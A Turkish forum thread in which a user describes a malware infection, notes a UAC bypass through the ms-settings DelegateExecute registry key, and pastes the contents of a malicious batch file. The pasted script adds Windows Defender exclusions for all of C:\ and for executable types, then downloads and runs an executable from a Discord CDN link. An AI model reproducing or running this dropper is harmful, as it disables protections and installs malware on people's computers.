sanırım virüs komutlu bunlar. En çok ta israil.exe dikkatimi çekti. .bat dosyaları da ayrı şüpheli.
Israil benim bilgisayarı bombalıyor!!! (!)
sanırım virüs komutlu bunlar. En çok ta israil.exe dikkatimi çekti. .bat dosyaları da ayrı şüpheli.
Sorunu çözdüm. Sorunu yapan virüsmüş.
Registry "HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command" da.
DelegateExecute değerini değiştirip bir komut çalıştırmasını sağlamış.
Bunun hakkında bir şey buldum:"
https://github.com/hackerhouseopensource/MsSettingsDelegateExecute"
Her zaman videodaki belirli olan yerlere tıkladığımda virüs kendini kopyalıyormuş.
installerbat2'nın içi:
@Echo off
:: BatchGotAdmin
:-------------------------------------
Powershell -Command "Set-MpPreference -ExclusionExtension 'exe', 'dll', 'scr'"
Powershell -Command "Set-MpPreference -ExclusionPath 'C:\'"
cd %TEMP%
Powershell -Command "Invoke-Webrequest '
https://cdn.discordapp.com/attachments/1162109429534167131/1162109486983557161/xx.exe' -OutFile xx.exe"
start xx.exe
exit
